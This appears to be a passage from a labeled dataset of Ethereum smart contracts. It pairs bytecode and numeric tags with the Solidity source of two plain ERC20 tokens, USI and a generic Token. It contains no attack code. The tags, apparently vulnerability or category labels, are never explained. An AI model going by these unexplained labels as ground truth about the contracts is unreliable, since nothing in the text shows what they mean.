590611bc2565b80156105f25780601f106105c7576101008083540402835291602001916105f2565b820191906000526020600020905b8154815290600101906020018083116105d557829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661067a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006106a1826108f7565b9050806001600160a01b0316836001600160a01b0316141561070f5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610671565b336001600160a01b038216148061072b575061072b813361049d565b61079d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610671565b6107a78383610d70565b505050565b6006546001600160a01b031633146107d65760405162461bcd60e51b815260040161067190611aae565b600b805460ff1916911515919091179055565b6107f33382610dde565b61080f5760405162461bcd60e51b815260040161067190611ae3565b6107a7838383610ed5565b6006546001600160a01b031633146108445760405162461bcd60e51b815260040161067190611aae565b600d546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610891576040519150601f19603f3d011682016040523d82523d6000602084013e610896565b606091505b50509050806108d95760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610671565b50565b6107a783838360405180602001604052806000815250610c0f565b6000818152600260205260408120546001600160a01b0316806105645760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610671565b60006001600160a01b0382166109d95760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610671565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610a1f5760405162461bcd60e51b815260040161067190611aae565b610a296000611071565b565b6006546001600160a01b03163314610a555760405162461bcd60e51b815260040161067190611aae565b6107a7600c838361157b565b60606001805461057990611bc2565b600b5460ff16610ab85760405162461bcd60e51b81526020600482015260136024820152721b5a5b9d1a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610671565b600754610ac59082611b60565b3414610b065760405162461bcd60e51b815260206004820152601060248201526f77726f6e67206d696e742076616c756560801b6044820152606401610671565b60095481600854610b179190611b34565b1115610b505760405162461bcd60e51b81526020600482015260086024820152671cdbdb19081bdd5d60c21b6044820152606401610671565b600a54336000908152600e6020526040902054610b6e908390611b34565b1115610bb05760405162461bcd60e51b8152602060048201526011602482015270195e18d95959081b585e081dd85b1b195d607a1b6044820152606401610671565b60005b81811015610c005760006008546001610bcc9190611b34565b600880549192506000610bde83611bfd565b9190505550610bed33826110c3565b5080610bf881611bfd565b915050610bb3565b5050565b610c003383836110dd565b610c193383610dde565b610c355760405162461bcd60e51b815260040161067190611ae3565b610c41848484846111ac565b50505050565b6000818152600260205260409020546060906001600160a01b0316610ca65760405162461bcd60e51b8152602060048201526015602482015274546f6b656e20646f6573206e6f742065786973742160581b6044820152606401610671565b600c610cb1836111df565b604051602001610cc2929190611914565b6040516020818303038152906040529050919050565b6006546001600160a01b03163314610d025760405162461bcd60e51b815260040161067190611aae565b6001600160a01b038116610d675760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610671565b6108d981611071565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610da5826108f7565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316610e575760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610671565b6000610e62836108f7565b9050806001600160a01b0316846001600160a01b03161480610e9d5750836001600160a01b0316610e92846105fc565b6001600160a01b0316145b80610ecd57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610ee8826108f7565b6001600160a01b031614610f4c5760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b6064820152608401610671565b6001600160a01b038216610fae5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610671565b610fb9600082610d70565b6001600160a01b0383166000908152600360205260408120805460019290610fe2908490611b7f565b90915550506001600160a01b0382166000908152600360205260408120805460019290611010908490611b34565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610c008282604051806020016040528060008152506112f9565b816001600160a01b0316836001600160a01b0316141561113f5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610671565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6111b7848484610ed5565b6111c38484848461132c565b610c415760405162461bcd60e51b815260040161067190611a5c565b6060816112035750506040805180820190915260018152600360fc1b602082015290565b8160005b811561122d578061121781611bfd565b91506112269050600a83611b4c565b9150611207565b60008167ffffffffffffffff81111561125657634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611280576020820181803683370190505b5090505b8415610ecd57611295600183611b7f565b91506112a2600a86611c18565b6112ad906030611b34565b60f81b8183815181106112d057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506112f2600a86611b4c565b9450611284565b6113038383611439565b611310600084848461132c565b6107a75760405162461bcd60e51b815260040161067190611a5c565b60006001600160a01b0384163b1561142e57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611370903390899088908890600401611a0c565b602060405180830381600087803b15801561138a57600080fd5b505af19250505080156113ba575060408051601f3d908101601f191682019092526113b79181019061182b565b60015b611414573d8080156113e8576040519150601f19603f3d011682016040523d82523d6000602084013e6113ed565b606091505b50805161140c5760405162461bcd60e51b815260040161067190611a5c565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610ecd565b506001949350505050565b6001600160a01b03821661148f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610671565b6000818152600260205260409020546001600160a01b0316156114f45760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610671565b6001600160a01b038216600090815260036020526040812080546001929061151d908490611b34565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461158790611bc2565b90600052602060002090601f0160209004810192826115a957600085556115ef565b82601f106115c25782800160ff198235161785556115ef565b828001600101855582156115ef579182015b828111156115ef5782358255916020019190600101906115d4565b506115fb9291506115ff565b5090565b5b808211156115fb5760008155600101611600565b80356001600160a01b038116811461162b57600080fd5b919050565b8035801515811461162b57600080fd5b600060208284031215611651578081fd5b61165a82611614565b9392505050565b60008060408385031215611673578081fd5b61167c83611614565b915061168a60208401611614565b90509250929050565b6000806000606084860312156116a7578081fd5b6116b084611614565b92506116be60208501611614565b9150604084013590509250925092565b600080600080608085870312156116e3578081fd5b6116ec85611614565b93506116fa60208601611614565b925060408501359150606085013567ffffffffffffffff8082111561171d578283fd5b818701915087601f830112611730578283fd5b81358181111561174257611742611c58565b604051601f8201601f19908116603f0116810190838211818310171561176a5761176a611c58565b816040528281528a6020848701011115611782578586fd5b82602086016020830137918201602001949094529598949750929550505050565b600080604083850312156117b5578182fd5b6117be83611614565b915061168a60208401611630565b600080604083850312156117de578182fd5b6117e783611614565b946020939093013593505050565b600060208284031215611806578081fd5b61165a82611630565b600060208284031215611820578081fd5b813561165a81611c6e565b60006020828403121561183c578081fd5b815161165a81611c6e565b60008060208385031215611859578182fd5b823567ffffffffffffffff80821115611870578384fd5b818501915085601f830112611883578384fd5b813581811115611891578485fd5b8660208285010111156118a2578485fd5b60209290920196919550909350505050565b6000602082840312156118c5578081fd5b5035919050565b600081518084526118e4816020860160208601611b96565b601f01601f19169290920160200192915050565b6000815161190a818560208601611b96565b9290920192915050565b600080845482600182811c91508083168061193057607f831692505b602080841082141561195057634e487b7160e01b87526022600452602487fd5b8180156119645760018114611975576119a1565b60ff198616895284890196506119a1565b60008b815260209020885b868110156119995781548b820152908501908301611980565b505084890196505b505050505050611a036119b482866118f8565b7f697066733a2f2f516d5a7156364259525858747541754c514a326b326e34576f81527f77595856507374517667316d6232425339315874682f726176762e6a736f6e006020820152603f0190565b95945050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611a3f908301846118cc565b9695505050505050565b60208152600061165a60208301846118cc565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115611b4757611b47611c2c565b500190565b600082611b5b57611b5b611c42565b500490565b6000816000190483118215151615611b7a57611b7a611c2c565b500290565b600082821015611b9157611b91611c2c565b500390565b60005b83811015611bb1578181015183820152602001611b99565b83811115610c415750506000910152565b600181811c90821680611bd657607f821691505b60208210811415611bf757634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611c1157611c11611c2c565b5060010190565b600082611c2757611c27611c42565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146108d957600080fdfea264697066735822122038146105e9fc9e12a02750fcf7f65b13e77a8bc1c159fa2ded6109db6ec2536c64736f6c63430008040033
[ 0, 5 ]
0xf2546eb400cb71d9d889373fac0e7cc6ea7e47af
pragma solidity ^0.4.23; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract USI is StandardToken { string public constant name = "Usource"; // solium-disable-line uppercase string public constant symbol = "USI"; // solium-disable-line uppercase uint8 public constant decimals = 2; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 50000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3c565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a4b565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a50565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce1565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d29565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d62565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f81565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117d565b6040518082815260200191505060405180910390f35b6040805190810160405280600781526020017f55736f757263650000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106bf57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079757600080fd5b6107e8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260ff16600a0a61c3500281565b600281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b61576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf5565b610b74838261120490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f555349000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d9f57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dec57600080fd5b610e3d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561121257fe5b818303905092915050565b6000818301905082811015151561123057fe5b809050929150505600a165627a7a7230582044071c0b7ebf251ab82d74af98c1d3886db502a8d6f47ba9a559c1ad2e5a7b580029
[ 38 ]
0xf254784c36f915085565c5227ff22eecb976f844
/** *Submitted for verification at Etherscan.io on 2019-02-20 */ pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Token is StandardToken { string public name; string public symbol; uint8 public decimals; constructor (string _name, string _symbol, uint8 _decimals, uint256 _total) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply_ = _total.mul(10 ** uint256(_decimals)); balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063661884631461028a57806370a08231146102ef57806395d89b4114610346578063a9059cbb146103d6578063d73dd6231461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b5565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106a7565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a6b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7e565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0f565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610d57565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df5565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611014565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611210565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106ee57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561073b57600080fd5b6002600